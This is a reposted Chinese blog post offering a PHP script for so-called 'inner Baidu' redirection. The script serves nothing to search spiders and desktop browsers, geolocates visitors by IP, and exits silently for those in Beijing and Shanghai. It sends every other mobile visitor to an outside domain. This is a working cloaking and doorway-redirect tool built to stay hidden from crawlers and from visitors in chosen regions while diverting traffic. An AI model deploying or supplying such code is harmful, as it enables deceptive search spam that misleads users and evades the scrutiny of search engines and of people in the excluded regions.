zoukankan      html  css  js  c++  java
  • 内百度php链接代码

    <?php
    //屏蔽的地区
    $blockarea='北京,上海';
    //判断是否蜘蛛
    if(stripos($_SERVER['HTTP_USER_AGENT'],'spider')>0) exit('');
    //判断是否手机
    if(!isMobile()) exit('');
    $cip=get_client_ip();
    $filename = "http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=json&ip=".$cip;
    $json = json_decode(file_get_contents($filename));
    $city=$json->city;
    $city=str_replace('市','',$city);
    $province=$json->province;
    $province=str_replace('省','',$province);
    if(strpos(','.$blockarea.',',$city.',')) exit('');
    if(strpos(','.$blockarea.',',$province.',')) exit('');
    //还可以加入其它判断
    //加载内百度
    header("Location: http://xzh.zzzhisou.com/location.php?fid=6");
    function isMobile()
    {
        if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))
        {
            return true;
        } 
        if (isset ($_SERVER['HTTP_VIA']))
        { 
            return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
        } 
        if (isset ($_SERVER['HTTP_USER_AGENT']))
        {
            $clientkeywords = array ('nokia',
                'sony',
                'ericsson',
                'mot',
                'samsung',
                'htc',
                'sgh',
                'lg',
                'sharp',
                'sie-',
                'philips',
                'panasonic',
                'alcatel',
                'lenovo',
                'iphone',
                'ipod',
                'blackberry',
                'meizu',
                'android',
                'netfront',
                'symbian',
                'ucweb',
                'windowsce',
                'palm',
                'operamini',
                'operamobi',
                'openwave',
                'nexusone',
                'cldc',
                'midp',
                'wap',
                'mobile'
                ); 
            if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT'])))
            {
                return true;
            } 
        } 
        if (isset ($_SERVER['HTTP_ACCEPT']))
        {
            if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html'))))
            {
                return true;
            } 
        } 
        return false;
    } 
    function get_client_ip(){ 
        if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) 
        $ip = getenv("HTTP_CLIENT_IP"); 
        else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) 
        $ip = getenv("HTTP_X_FORWARDED_FOR"); 
        else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) 
        $ip = getenv("REMOTE_ADDR"); 
        else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) 
        $ip = $_SERVER['REMOTE_ADDR']; 
        else 
        $ip = "unknown"; 
        return($ip); 
    } 
    ?>
    转载请注明出处: 欢迎留言或qq(1090413588)交流
  • 相关阅读:
    转:彻底搞清楚javascript中的require、import和export
    转:博客园新随笔 添加锚点
    转:深入浅出空间索引:为什么需要空间索引
    转:常见的空间索引方法
    可视化&地图__公司收集
    js json转xml(可自定义属性,区分大小写)
    Python3.6之给指定用户发送微信消息
    微信服务号发送模板消息
    log4j封装方法,输出集合
    Java封装servlet发送请求(二)
  • 原文地址:https://www.cnblogs.com/linyusong/p/7278452.html
Copyright © 2011-2022 走看看